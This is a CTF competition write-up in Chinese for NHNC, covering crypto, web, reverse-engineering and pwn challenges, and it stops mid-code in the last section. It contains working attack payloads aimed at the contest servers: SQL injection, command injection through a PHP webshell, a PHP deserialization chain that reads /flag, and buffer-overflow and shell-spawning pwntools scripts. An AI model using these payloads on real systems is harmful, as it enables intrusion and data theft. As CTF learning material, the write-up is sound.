![image](https://hackmd.io/_uploads/rkGxWW_MJg.png) [TOC] # Misc ## "A Gift from the Leader Organizer" (1 pt) ![image](https://hackmd.io/_uploads/rJGfy8FzJl.png) 總召大人最帥了😘 > NHNC{fishbaby1011sohandsome} ## Blog 2 (20 pts) ``` 出題者: Elliot_404 承上題(Blog 1),這個 Blog 的主人好像洩漏了他不想別讓人知道的東西,請試著找出來 ``` [Blog link](https://neko-2077.github.io/) 在[推薦Vtuber](https://neko-2077.github.io/p/%E6%8E%A8%E8%96%A6-vtuber/)文章下的留言區,有neko-2077的留言 ![image](https://hackmd.io/_uploads/BJ6R-ZdMkx.png) 在他的[Disqus留言](https://disqus.com/by/neko2077/?l=zh_TW),有個`不要點進來` ![image](https://hackmd.io/_uploads/ByiEzW_Mye.png) 點進去就可以看到Blog 2了 ![image](https://hackmd.io/_uploads/BJvwfZ_zkx.png) > Flag:NHNC{comments_disqusjs} ## Blog 3 (50 pts) ``` 出題者: Elliot_404 承上題(Blog 1),這個 Blog 的主人好像洩漏了他不想讓別人知道的東西,請試著找出來 ``` [Blog link](https://neko-2077.github.io/) 一樣在[推薦Vtuber](https://neko-2077.github.io/p/%E6%8E%A8%E8%96%A6-vtuber/)頁面裡,對香香的封面圖右鍵>Open image in new tab ![Screenshot 2024-11-18 080214](https://hackmd.io/_uploads/Bkn84W_z1x.png) 可以觀察到網址的`φ0`有點不正常 ![image](https://hackmd.io/_uploads/SkYi4W_G1e.png) 把後面的照片連結去掉,即可進入Blog 3 ![Screenshot 2024-11-18 080559](https://hackmd.io/_uploads/r1ZBSWuf1x.png) > NHNC{image_url} ## Where is this (20 pts) ``` 出題者: Elliot_404 這在哪裡? Flag 格式:NHNC{緯度_經度} (無條件捨去取到小數後三位) ex:NHNC{12.345_114.514} ``` 附圖連結:https://nhnc.ic3dt3a.org/files/316ada6f8668dc977279ead9ed301fef/OSINT.jpg 線索是點店名:`曾家乾麵`、`河堤上的貓`、`竹東排骨酥麵` ![image](https://hackmd.io/_uploads/SyrcUZOGJe.png) 接著在google map上搜尋即可 註:不建議用`曾家乾麵`搜尋 我用`河堤上的貓`在google map上搜尋,只找到一個地方,也符合圖片裡`⊥`的道路結構 ![image](https://hackmd.io/_uploads/H1cEvZdGkl.png) 右鍵即可看到經緯度資訊 ![image](https://hackmd.io/_uploads/H1MzO-_fyx.png) > NHNC{24.802_120.979} ## NHNC, but C0LoRfUl (39 pts) ``` 出題者:chilin.h https://discord.gg/BhrD6sPtNs Everyone is welcome here! I felt that the original server was too old-fashioned, so I added a new coloring function! Whether you are an administrator, a worker, or a participant, you can color your fonts! 歡迎大家來這邊! 我覺得原本的伺服器太古板了,所以新增了上色功能! 無論你是管理員、工人、還是參與者,都可以為你的字體上色! ``` 進入Discord Server,發現我們有管理身分組的權限,直接開好開滿 ![image](https://hackmd.io/_uploads/SyKV5buzkx.png) 就可以看到多出現了`flag` channel ![image](https://hackmd.io/_uploads/H10cwadfye.png) 解碼base64即可 `NHNC{oI*Y1oxk^@vbXLbxXSQ89N3vsW$zoS5*QQp5riz^q$Zj9hMc55X*w3sg6CP10bD6cTadaz2aHVjt0qK#nwdiUDt2#9Dj^*Wo5a9$6LecFD&Ir*ewufJ4LEjk0XUCYTe0}` # Forensics ## BotNet1 (60 pts) ``` 出題者: whale.120 Some bad bots (uhh...maybe contracts) are trading on Sepolia Ethernaut test net, the first bot's address is 0xAD840c4c2F869896EfE0891614faA1908dcD0153, find it's pal's address and wrap it in NHNC{}! ``` 進入[Sepolia-etherscan](https://sepolia.etherscan.io/),輸入給定的地址 在Internal Transection中,有一筆合約 ![image](https://hackmd.io/_uploads/BkOwpZ_z1e.png) > NHNC{0x3e9e0e9cee22Ccd0ac94604A72394B0A1CCdb27A} ## BotNet2 (80 pts) ``` 出題者: whale.120 You have discovered the suspicious trade, now find the stacked data on it's pal! ``` 進去看上一題解出來的的地址 ![image](https://hackmd.io/_uploads/SkecEDGOfkx.png) 進去看這筆交易,選Show more,View input as選UTF-8 ![image](https://hackmd.io/_uploads/SyhYvMdMyg.png) > NHNC{boti_boti_im_in_ur_wifi} # Crypto ## AES? (20 pts) ``` 出題者: LemonTea 一段加密的訊息,需要破解加密才能解開。 ``` [file link-output.txt](https://nhnc.ic3dt3a.org/files/994e70a682099984b99dfb31372f21e1/output.txt?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6NDd9.ZzqZRQ.L9Qb3fXpKHBXxAfGWpjllJ4PbFs) output.txt: ``` Enter IV: 1234567890987654 Secret Key: 1234567890987654 output: TkdU8sqjliuakA+nj2aEmbDf+AaJwASfPuooaKadCqg= ``` 隨便找個AES online decryption,選CBC mode ![image](https://hackmd.io/_uploads/BJBqcMOfke.png) > NHNC{Y0u_kn0w_AES} ## Baby RSA (40 pts) ``` 出題者: whale.120 RSA for babys ``` [file link-chal_17.py](https://nhnc.ic3dt3a.org/files/0af753d4faa8a004ce0b627fecca875e/chal_17.py?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6Njl9.Zzqanw.RSAvFnKI5xa5MVKYZGVs-a3lsPA) chal_17.py: ```python= from Crypto.Util.number import * from Secret import flag1 primes=[getPrime(512) for _ in range(3)] p, q, r=primes[0], primes[1], primes[2] n=p*q*r e=0x10001 leak=p*q+q*r+r*p-p-q-r c=pow(bytes_to_long(flag1), e, n) print(f"{n=}\n{e=}\n{c=}\n{leak=}") # output ''' n=1588313940811583670388901008799979643227508347921726508187845925121888018384295030557217724452854073354506733734948963728906121944748626336175026165501032867164031437646285616387352213662865798266568754187475074439344239971434650851017361305440785085800565077621928128381888304170806890898358358161543138717722884498671012157552627202558915649163030193095159221015850832580026640394276672929163085422040567666556330271222397965912435822921196421000606733571473897 e=65537 c=1486820855515154236162411677801199668086445706624424596450332681618232039310031299864777925283743527869824964609902697207891204276017844138716399611186082902687240749084575448807382032315300097699346046330339044585017938639264266759415446628256358731949386881533600592561504081326543143711535184034996293644573109963922652147003096600799028140241574358077390864861527823922494294399292630017130705549749378273155565300089441218224857894833601009764541100666507221 leak=409806027984142046827568136516718279278250684987305418639665531440726724145235686048985209175210488783213754343387799291126405560172391062085673659617777577945402272340754442512900552853645251776025848281268240863874332635558325107405944737687367206917286149877313697949861173539315761823960563606616395256712 ''' ``` 整理一下已知資訊: $n = p \cdot q \cdot r$ $leak = pq + qr + rp - p - q - r$ 這樣,我們就可以開始計算$\varphi (n)$: $\varphi (n) = (p - 1) (q - 1) (r - 1)$ 展開: $\varphi (n) = pqr - pq - pr - qr + p + q + r - 1$ `n`和`leak`帶入$\varphi (n)$可得: $\varphi (n)=n - \text{leak} - 1$ exploit: ```python= from Crypto.Util.number import * n = 1588313940811583670388901008799979643227508347921726508187845925121888018384295030557217724452854073354506733734948963728906121944748626336175026165501032867164031437646285616387352213662865798266568754187475074439344239971434650851017361305440785085800565077621928128381888304170806890898358358161543138717722884498671012157552627202558915649163030193095159221015850832580026640394276672929163085422040567666556330271222397965912435822921196421000606733571473897 e = 65537 c = 1486820855515154236162411677801199668086445706624424596450332681618232039310031299864777925283743527869824964609902697207891204276017844138716399611186082902687240749084575448807382032315300097699346046330339044585017938639264266759415446628256358731949386881533600592561504081326543143711535184034996293644573109963922652147003096600799028140241574358077390864861527823922494294399292630017130705549749378273155565300089441218224857894833601009764541100666507221 leak = 409806027984142046827568136516718279278250684987305418639665531440726724145235686048985209175210488783213754343387799291126405560172391062085673659617777577945402272340754442512900552853645251776025848281268240863874332635558325107405944737687367206917286149877313697949861173539315761823960563606616395256712 phi_n = n - leak - 1 d = inverse(e, phi_n) m = pow(c, d, n) flag = long_to_bytes(m) print(flag) ``` > NHNC{baby_math_won} ## Secret ROT13 (40 pts) ``` 出題者: LemonTea 一段加密的訊息,需要破解加密才能解開。 ``` [file link-output.txt](https://nhnc.ic3dt3a.org/files/53b33dc077dcfca2362347ca70191fc4/output.txt?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6NTR9.Zzv0BA.b6r2Zoik-Eu9vLCdTZ4ee4ea7u0) [file link-source.py](https://nhnc.ic3dt3a.org/files/211c55dcd9826daa8c3bd7962d719825/source.py?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6NTV9.Zzv0BA.3jnZWJkABECM6BBvokhnIRaSD3A) source.py: ```python= def encrypt(text, key): encrypted_text = "" for i, char in enumerate(text): offset = ((i + 1 + key) * (i + 1)) % 26 if 'A' <= char <= 'Z': new_char = chr((ord(char) - ord('A') + offset) % 26 + ord('A')) elif 'a' <= char <= 'z': new_char = chr((ord(char) - ord('a') + offset) % 26 + ord('a')) else: new_char = char encrypted_text += new_char return encrypted_text # 測試範例 key = 7 plaintext = "NHNC{TEST}" ciphertext = encrypt(plaintext, key) print("加密後的密文:", ciphertext) ``` output.txt: ``` VZRU{Y0k_yd0w_Z0o_ti_rsslyxli} ``` 每個字元的加密是基於其位置 `i` 和給定的密鑰 `key` $\text{offset} = ((i + 1 + \text{key}) \times (i + 1)) \% 26$ 反向操作,把`offset`減掉,然後還原到對應的ASCII範圍 最後暴力找`key` exploit: ```python= def decrypt(encrypted_text, key): decrypted_text = "" for i, char in enumerate(encrypted_text): offset = ((i + 1 + key) * (i + 1)) % 26 if 'A' <= char <= 'Z': new_char = chr((ord(char) - ord('A') - offset) % 26 + ord('A')) elif 'a' <= char <= 'z': new_char = chr((ord(char) - ord('a') - offset) % 26 + ord('a')) else: new_char = char decrypted_text += new_char return decrypted_text for i in range(1, 26): print(decrypt("VZRU{Y0k_yd0w_Z0o_ti_rsslyxli}", i)) ``` ```bash └─$ python3 epx_rot13.py | grep NHNC NHNC{Y0u_kn0w_H0w_to_decrypte} ``` > NHNC{Y0u_kn0w_H0w_to_decrypte} ## Ande Yo Caliente (60 pts) ``` 出題者: whale.120 Chacha~ ``` [file link](https://nhnc.ic3dt3a.org/files/01b1412b45bb251fa9bc243216689584/chal.py?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6NDh9.ZzwKzQ.BPKmyaHbm67_hF9JY3I0PYgeZ0s) chal.py: ```python= from Crypto.Cipher import ChaCha20 from secret import FLAG import os def encrypt(message, key, nonce): cipher = ChaCha20.new(key=key, nonce=iv) ciphertext = cipher.encrypt(message) return ciphertext message = b'When you feel my heat, look into my eyes\nIt\'s where my demons hide' key, iv = os.urandom(32), os.urandom(12) encrypted_message = encrypt(message, key, iv) encrypted_flag = encrypt(FLAG, key, iv) data = iv.hex() + '\n' + encrypted_message.hex() + '\n' + encrypted_flag.hex() f=open("out.txt", "w") f.write(data) ''' out.txt: 635b52504ab86d67d780dede eab3ee7a3821847b76558eb61ec26f4fc7f72f436966ab7680d652b872c85c0bae4879db0748b02dde7df7ca34288a0fa21bd8889c57d3ff986a9566f09733cfbc6e f393c557632f836f226c828c1e87634489fa2e7d7b38e477b0d14dfa66 ''' ``` 這題給了一個明文的message/加密過的message,還有加密過的flag,以及加密兩者的`IV`(ChaCha20的`nonce`) 但ChaCha20的加密法是生成一個keystream再XOR $\text{ciphertext} = \text{keystream} \oplus \text{text}$ 所以其實不用`IV`也沒差? 所以就利用XOR的特性,用給定的明/密文得到keystream 再用keystream解flag exploit: ```python= from Crypto.Cipher import * from binascii import * #iv = unhexlify("635b52504ab86d67d780dede") encrypted_message = unhexlify("eab3ee7a3821847b76558eb61ec26f4fc7f72f436966ab7680d652b872c85c0bae4879db0748b02dde7df7ca34288a0fa21bd8889c57d3ff986a9566f09733cfbc6e") encrypted_flag = unhexlify("f393c557632f836f226c828c1e87634489fa2e7d7b38e477b0d14dfa66") message = b"When you feel my heat, look into my eyes\nIt's where my demons hide" stream = bytes([m ^ c for m, c in zip(message, encrypted_message)]) flag = bytes([c ^ s for c, s in zip(encrypted_flag, stream)]) print(flag.decode()) ``` >NHNC{what_i_learned_from_htb} ## Duplicated (255 pts) ``` I don't know what to say, just a tricky but kinda easy one. Do you catch your breath when I look at you? Are you holding back, like the way I do? URL: http://23.146.248.134:31337/check ``` [file link](https://nhnc.ic3dt3a.org/files/343e5057666aa35348b147f9be75b112/source.py?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6Njh9.ZzwpMQ.zs5OMSmM2FgD1yAM8nPIhifiAFI) source.py: ```python= from flask import Flask, request, jsonify import base64 import hashlib app = Flask(__name__) def base64_decode(data): try: return base64.b64decode(data) except Exception: return None def validate_pair(data1, data2): decoded1 = base64_decode(data1) decoded2 = base64_decode(data2) if decoded1 is None or decoded2 is None: return False if b"whale_meowing" not in decoded1 or b"whale_meowing" not in decoded2: return False md5_1 = hashlib.md5(decoded1).hexdigest() md5_2 = hashlib.md5(decoded2).hexdigest() return md5_1 == md5_2 @app.route('/check', methods=['POST']) def check(): try: data = request.get_json() if not isinstance(data, list) or not all(isinstance(pair, list) and len(pair) == 2 for pair in data): return jsonify({"status": "wrong", "error": "Invalid input format"}), 400 if len(data) != 100: return jsonify({"status": "wrong", "error": "Exactly 100 pairs required"}), 400 all_inputs = [item for pair in data for item in pair] if len(all_inputs) != len(set(all_inputs)): return jsonify({"status": "wrong", "error": "Duplicate inputs found"}), 400 for pair in data: if not validate_pair(pair[0], pair[1]): return jsonify({"status": "wrong"}), 200 return jsonify({"status": "NHNC{FAKE_FLAG}"}), 200 except Exception as e: return jsonify({"status": "wrong", "error": str(e)}), 500 if __name__ == '__main__': app.run(host="0.0.0.0", port=31337) ``` 他會接收一個長度為100的`data` 然後`data`裡面包含一個list,裡面放兩個Base64編碼過的字串 最後做驗證: - 沒有重複的Base64字串 - Base64解碼後必須包含`whale_meowing` - List內兩個字串MD5雜湊過必須要一樣 ~~然後透過ChatGPT~~,發現Base64有個特性:解碼時會忽略空格、`!`、`-`等不支援的字元 稍微實驗一下: ```python >>> base64.b64decode("YWJj".encode()) b'abc' >>> base64.b64decode("Y W J j".encode()) b'abc' >>> base64.b64decode("Y W!Jj".encode()) b'abc' >>> base64.b64decode("Y!W\nJ\rj".encode()) b'abc' >>> base64.b64decode("Y!W\nJ~ j_.-".encode()) b'abc' ``` 真的ㄟ,好扯ㄛ 這樣就可以寫exploitㄌ: ```python= import requests import base64 url = "http://23.146.248.134:31337/check" def generate_variants(encoded_str, existing_set): variants = set() for i in range(2): new_str = '' for c in encoded_str: new_str += c if(i==1): new_str += ' ' new_str += ' ' variants.add(new_str) existing_set.add(new_str) return list(variants) data = [] all_inputs_set = set() for i in range(100): content = f"whale_meowing_{i}".encode() base_encoded = base64.b64encode(content).decode() variants = generate_variants(base_encoded,all_inputs_set) data.append(variants) response = requests.post(url, json=data) print(response.json()) ``` > NHNC{is_md_an_abbreviation_for_maid?} # Web ## 哥布林保衞部公告 (30 pts) ``` 出題者: 哥布林長老-Frank 為保護我哥布林族同胞,本保衛部特出此公告以保護我們免於精靈族的誘惑! HINT:用Burp suite抓看看嗎 要這麼麻煩嗎 ``` Link:https://nhnc-ctf-frank.dypc.cc/ 直接View page source ![image](https://hackmd.io/_uploads/BJSauGuMJl.png) > NHNC{BeCareful!} ## EASY METHOD (100 pts) ``` I "PUT" something in the website, could u find the "METHOD" to get it? http://23.146.248.227:60001/ ``` 用browser打開 ![image](https://hackmd.io/_uploads/HJvOTcdf1x.png) 推測應該要用不同的method,結合提敘,推測用`PUT` 用curl抓下來 ```bash └─$ curl -X PUT http://23.146.248.227:60001/ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>HTTP Method Challenge</title> </head> <body> <h1>這是我的網站</h1> <p>來找找看我存在這裡的酷酷資料</p> <p><strong>FLAG: NHNC{Y0u_kn0w_H0w_t0_us3_CURL}</strong></p></body> </html> ``` > NHNC{Y0u_kn0w_H0w_t0_us3_CURL} ## I need to get the C00kies (100 pts) ``` 出題者: LemonTea I am making a web that can show something but I can't become an admin and get the cookies can you help me? http://chal.nhnc.ic3dt3a.org:60002/ ``` 連進去長這樣: ![image](https://hackmd.io/_uploads/HJBQu2OG1l.png) 在Application > Cookies,可以看到目前的role是user: ![image](https://hackmd.io/_uploads/Sy7Uu3OMJl.png) 右鍵Edit Value改admin,Reload Page ![image](https://hackmd.io/_uploads/S1l5d2OG1l.png) >NHNC{You_Kn0w_H0w_t0_chang3_th3_c00ki3} ## Login (100 pts) ``` Just login and get the flag http://chal.nhnc.ic3dt3a.org:60003/ ``` 就一個很簡單的Login Page,直覺SQL Injection ![image](https://hackmd.io/_uploads/S1fAchdf1x.png) 當時啥都沒想,隨便構造一個payload: `admin' OR 1=1--` ...然後就打進去了XDDD ![image](https://hackmd.io/_uploads/SyV2i3OM1e.png) `NHNC{S1mp|e_-_SQL!}` ## 1 line php (300 pts) ``` 1 line >w<b http://chal.nhnc.ic3dt3a.org:60000 Hint: Flag is at / ``` 連進去: ![image](https://hackmd.io/_uploads/S1J7nhOz1l.png) 一個很簡單的php木馬,但發現前面插了一個註解符號,變成不會執行`system()`函數 我們可以用換行的方式規避掉 `cmd`參數用`%0Als%20/`(`%0A`是換行的URL編碼): ![image](https://hackmd.io/_uploads/HymagTuzJe.png) flag的檔案是`flag-` payload: `http://chal.nhnc.ic3dt3a.org:60000/?cmd=%0A%20cat%20/flag-` > NHNC{enter_is_always_the_best} ## Democracy (350 pts) ``` 出題者: Frank The Republic of Frank National Assembly needs your participation! Head over here Hint: FOSS-Its means Open for what? ``` Link:https://nhnc-ctf-frank2.dypc.cc/ ![image](https://hackmd.io/_uploads/SkEcEauMkx.png) 按下`我要覆議`按鈕,會被rick roll 但看他的跳轉連結,是導向`/next` ![image](https://hackmd.io/_uploads/S1ver6dG1g.png) 用Burp Suite,攔封包看HTTP History ![image](https://hackmd.io/_uploads/HJdnrp_Mkx.png) 只專注在`/next`的response 裡面的內容很多很亂,但最後可以看到: ![image](https://hackmd.io/_uploads/S15UU6_G1g.png) 用Dev mode > Console就可以看到了(記得用burp suite卡著) ![image](https://hackmd.io/_uploads/Hy1nI6ufJe.png) >NHNC{That'sEasyRight?} ## POPcorn (460 pts) ``` Do you know what's a POP Chain? flag is in /flag http://chal.nhnc.ic3dt3a.org:60008/ ``` 點開出現一個輸入框,還有網頁原始碼 題目告訴我們是php反序列化漏洞 只關注php的部分: ```php= <?php class WHALE{ public function __construct($name, $report_uri) { $this->name = $name; $this->report_uri = $report_uri; } public function __get($obj) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $this->report_uri); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); echo $response; } public function __wakeup() { echo "NHNC{FAKE_FLAG}"; } } class MEOW{ public function __construct($cat_struct) { $this->id = $cat_struct; echo $this->id->name; } public function __toString() { return $this->id->r3a1_name; } public function __sleep() { return "serialized >w<b, but I want to sleep :zzz:"; } } class TEST{ public function __construct($note, $url) { $this->note = $note; $this->url = $url; } public function __destruct() { if (preg_match('pwned', $this->url)) { system('echo `date` >> log.txt'); }; } } if (isset($_POST['pop'])){ unserialize(base64_decode($_POST['pop'])); } ?> ``` 首先要理解php的[Magic Method](https://docs.phplang.net/manual/en/language.oop5.magic.php) - `__wakeup()`:object被deserialization時自動調用 - `__destruct()`:object的lifecycle結束(被Destruction)自動調用 - `__get()`:訪問未定義時自動調用 然後我們會發現: php腳本結束時,會自動調用`TEST::__destruct()` 裡面的`grep_match('pwned', $this->url)`第二個參數應該是`string`,但`$this->url`是一個object 這時候就會自動觸發`MEOW::__toString()`,裡面又訪問了`$this->id->r3a1_name` 但`r3al_name`沒被定義,這時候觸發`WHALE::__get()`(`__get(r3al_name)`) 然後get裡面執行了curl請求 payload目標:`__get()`請求內的`curl(r3al_name)`改為`curl(file:///flag)` 撰寫exploit: ```php= <?php class WHALE{ public function __construct($name, $report_uri) { $this->name = $name; $this->report_uri = $report_uri; } } class MEOW{ public function __construct($cat_struct) { $this->id = $cat_struct; } } class TEST{ public function __construct($note, $url) { $this->note = $note; $this->url = $url; } } $whale = new WHALE('abc', 'file:///flag'); $meow = new MEOW($whale); $test = new TEST('test', $meow); $serialized = serialize($test); $payload = base64_encode($serialized); echo $payload; ?> ``` 傳送payload: ```bash └─$ curl -X POST -d "pop=Tzo0OiJURVNUIjoyOntzOjQ6Im5vdGUiO3M6NDoidGVzdCI7czozOiJ1cmwiO086NDoiTUVPVyI6MTp7czoyOiJpZCI7Tzo1OiJXSEFMRSI6Mjp7czo0OiJuYW1lIjtzOjM6ImFiYyI7czoxMDoicmVwb3J0X3VyaSI7czoxMjoiZmlsZTovLy9mbGFnIjt9fX0=" http://chal.nhnc.ic3dt3a.org:60008/index.php NHNC{FAKE_FLAG}NHNC{is_pop_chain_a_kind_of_injection_?_anyway_is_the_best_language_for_hackers} ``` >NHNC{is_pop_chain_a_kind_of_injection_?_anyway_is_the_best_language_for_hackers} # Reverse ## easyyyyyyyyyy (50 pts) ``` author: kohiro No more hint because it is so eazyyyyyyyyy ``` [file link](https://nhnc.ic3dt3a.org/files/05c9a039e51004dc963aac8468d448d6/NHNCbabyreverse?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6Mjh9.ZzqsOg.BUtpJUjsa6UuOIG4bAbI6mOrGLw) 用radare2分析,afl看到: ```bash 0x00401550 1 27 dbg.flag() ``` VV進去: ![image](https://hackmd.io/_uploads/HyJq6mdGJe.png) > NHNC{this_is_a_easy_one} ## Guess the num (200 pts) ``` 出題者:raymond 只有幸運的人才會拿到 flag。不幸運的人啊~今天不是你拿分數的好日子! ``` [file link](https://nhnc.ic3dt3a.org/files/c8ca6ecc673f41a29cf097dd79c14256/guess_the_num?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6MTd9.Zzqt1w.dXtqu9YRYdFW-NEfPFpj7o7lfeU) 這邊用IDA打開 main函式裡: ```c= srand(0x1234u); printf("Lottery! Enter your number: "); __isoc99_scanf("%u", &v5); v3 = v5 % 0xFF; if ( v3 == rand() % 255 ) { printf("You're blessed today! Here's your flag: %s\n", flag); puts("Caution ahead! You will be *DISQUALIFIED* if you share the flag; not everyone has the luck you do!"); } else { puts("You shall not pass! Only those who have luck can get the flag!"); } ``` `flag`是在全域變數,直接點開看是`NHNC{as_clear_as_plaintext}` 但提交是顯示錯誤,回去看看有那些函式 發現了`sub_1217()`,裡面有存取到`flag`讓我很在意: ```c= _BYTE *sub_1217() { __int64 v0; // rax _BYTE *result; // rax //flag = 'NHNC{as_clear_as_plaintext}' v0 = sub_11E9(&flag[0x10000]); *(_BYTE *)(v0 + 5) += 19; *(_DWORD *)(v0 + 6) -= 117440001; *(_WORD *)(v0 + 10) = 24420; *(_QWORD *)(v0 + 12) ^= 0x3E0304001D163016uLL; *(_DWORD *)(v0 + 20) = 1919906916; *(_BYTE *)(v0 + 24) = 125; result = (_BYTE *)(v0 + 25); *result = 0; return result; } ``` `sub_11E9()`: ```c= __int64 __fastcall sub_11E9(__int64 a1) { if ( rand() == -70111375 ) return a1; else return a1 - 0x10000; } ``` 仔細分析`sub_1217()`: - `flag[0x10000]`其實就是`flag[0]`的地址往後偏移`0x10000` - `rand()`會回傳的就只有正數,所以`sub_11E9()`只會回傳`a1 - 0x10000` →`v0` = `flag[0]` 剩下怕會計算錯誤,這邊直接把code轉換成一般的C語言執行: ```c= #include <stdio.h> #include <stdint.h> int main() { char flag[27] = "NHNC{as_clear_as_plaintext}"; //sub_1217() int64_t v0 = (int64_t)(&flag[0]); flag[5] += 19; uint32_t *ptr_dword = (uint32_t *)(v0 + 6); *ptr_dword -= 117440001; uint16_t *ptr_word = (uint16_t *)(v0 + 10); *ptr_word = 24420; uint64_t *ptr_qword = (uint64_t *)(v0 + 12); *ptr_qword ^= 0x3E0304001D163016uLL; uint32_t *ptr_dword_2 = (uint32_t *)(v0 + 20); *ptr_dword_2 = 1919906916; flag[24] = 125; flag[25] = '\0'; printf(flag); return 0; } ``` > NHNC{traced_down_to_dtor} # PWN ## Grading system (100 pts) ``` 出題者:Raymond 線上評分系統!幫你的學生登記分數的好工具! nc chal.nhnc.ic3dt3a.org 2003 ``` [file link](https://nhnc.ic3dt3a.org/files/999ec6d04ddd2748cfdb904ef3f02a92/grading_system.zip?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6NjV9.ZzrleQ.92HCyBGfRKK_XRkA-wt0YOddt98) 稍微看一下source code,在switch choice時,有個選項可以開shell: ```c= case 'S': if (is_admin) { spawn_shell(); break; } else { puts("Contact admin if you a bug occurred"); break; } ``` 原本在想要怎麼用buffer overflow蓋掉`is_admin`,但發現初始值是`1234` 我:??? 所以exploit很簡單: ```python= from pwn import * r = remote("chal.nhnc.ic3dt3a.org",2003) r.sendlineafter('Number of students: ',b'114514') r.sendlineafter('Your choice:',b'S') r.interactive() r.close() ``` ```bash $ ls chal flag run.sh $ cat flag NHNC{i_dont_think_you_are_a_teacher} exit ``` > NHNC{i_dont_think_you_are_a_teacher} ## DOF (100 pts) ``` 出題者:whale.120 I've heard that you just learned overflow, show me twice! nc chal.nhnc.ic3dt3a.org 2000 ``` [file link](https://nhnc.ic3dt3a.org/files/9aa61456b15198e0e8ff13cf67f95783/chal_23?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6NjZ9.Zzvxbg.bIUHXCsDgtTUpCbFCxFrw3bHO-g) 丟IDA: ```c= int __fastcall main(int argc, const char **argv, const char **envp) { __int64 v3; // rdx __int64 v4; // rcx __int128 v6; // [rsp+0h] [rbp-30h] BYREF char v7[14]; // [rsp+10h] [rbp-20h] BYREF __int16 v8; // [rsp+1Eh] [rbp-12h] unsigned __int64 v9; // [rsp+28h] [rbp-8h] v9 = __readfsqword(0x28u); v6 = 0LL; strcpy(v7, "cat_say_meow"); v7[13] = 0; v8 = 0; setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); printf("What's you name:"); ((void (__fastcall *)(__int128 *))gets)(&v6); if ( strstr(v7, "cat_sleeping") ) secret_d00r(v7, "cat_sleeping", v3, v4); puts(v7); return 0; } ``` 看到`gets()`和題敘就可以猜到是buffer overflow了 目前`main`裡的目標是進入`secret_d00r()` 所以要想辦法用BOF蓋掉`v7` 然後我比較喜歡看上面IDA給的註解: `v9 [rbp-8h]` `v8 [rbp-12h]` `v7 [rbp-20h]` 蓋掉`v9`+`v8`(0x12),後面接上`cat_sleeping` 接著就可以進入`secret_d00r`: ```c= int secret_d00r() { __int64 v0; // rdx __int64 v1; // rcx __int64 v2; // r8 __int64 v3; // r9 char v5; // [rsp+7h] [rbp-19h] FILE *stream; // [rsp+8h] [rbp-18h] void *v7; // [rsp+10h] [rbp-10h] void *dest; // [rsp+18h] [rbp-8h] stream = fopen("flag", "r"); if ( !stream ) { puts("System Error...:("); exit(1); } v7 = malloc(0x14uLL); dest = malloc(0x14uLL); if ( !v7 || !dest ) exit(0); memcpy(dest, "whale_meowing", 0xDuLL); puts("Welcome to the secret d00r"); puts("There's a HEAP of broken doors, can you tell it's name?"); printf("Enter the name: "); gets(v7, "whale_meowing", v0, v1, v2, v3); if ( strstr((const char *)dest, "pwn3d!!!") ) { while ( 1 ) { v5 = fgetc(stream); if ( v5 == -1 ) break; putchar(v5); } } else { puts(aIThinkYouHaven); } return fclose(stream); } ``` 可以看出當`dest`內含有"pwn3d!!!"字串,就可以看到flag了 值得注意的是,`v7`和`dest`在執行時有用`malloc()`動態分配空間 我因為怕計算錯誤,寫了個C code模擬看到空間計算offset: ```c= #include <stdio.h> #include <stdlib.h> int main() { void *v7; void *dest; v7 = malloc(0x14uLL); dest = malloc(0x14uLL); printf("v7: %p\n", v7); printf("dest: %p\n", dest); free(v7); free(dest); return 0; } ``` 執行結果: ``` v7: 0xbb32a0 dest: 0xbb32c0 ``` 可以算出offset = 0xbb32c0 - 0xbb32a0 = 0x20 我們就可以撰寫exploit: ```python= from pwn import * #r = process('./chal_23') r = remote("chal.nhnc.ic3dt3a.org",2000) r.sendline(b'a'*0x12 + b'cat_sleeping') r.recvuntil("Enter the name: ") r.sendline(b'A'*0x20+b'pwn3d!!!') r.interactive() r.close() ``` > NHNC{dof==doblue_over_flow?!?!} ## Fishbaby's Library (300 pts) ``` 出題者: Raymond Fishbaby 開了一間圖書館,但是把 flag 鎖在圖書館的禁區,你能夠突破防護措施並讀取 flag 嗎? nc chal.nhnc.ic3dt3a.org 2002 ``` [file link](https://nhnc.ic3dt3a.org/files/34abcd77e3a9f2d63c9aebcc3cd3a0e8/fishbabys_library_upd.zip?token=eyJ1c2VyX2lkIjo2MywidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6ODF9.ZzybZQ.Akun0XrNCnG3njYwgcL2i18z9cE) source code很長,就不放了 最剛開始時,exploit code有放在給的zip檔內 但他們發現時已經有5個人解了 ~~很幸運我在那5個人之中~~ 所以我在這邊就講講他的 exploit: ```python= from pwn import * p = remote('chal.nhnc.ic3dt3a.org', 2002) p.sendline('S') p.sendline('.') p.sendline('R') p.sendlineafter('Filename? ', '/home/chal/classified/flag') flag = p.recvline() log.info(flag) p.close() ``` 簡單來說,我們要透過`read_file`來得到flag 選單按`L`可以看到底下的內容: ``` Your choice> L licenses/ rfcs/ classified/ hello_world/ visitor_notice.txt run.sh chal gallery/ ``` 然後在source可以看到,`R`選項是用於read file 並且在`S`做Set category時對`classified`有過濾 ```c= case 'S': printf("Which category interests you? "); memset(category, 0x00, sizeof(category)); scanf(" %[^\n./]", category); if 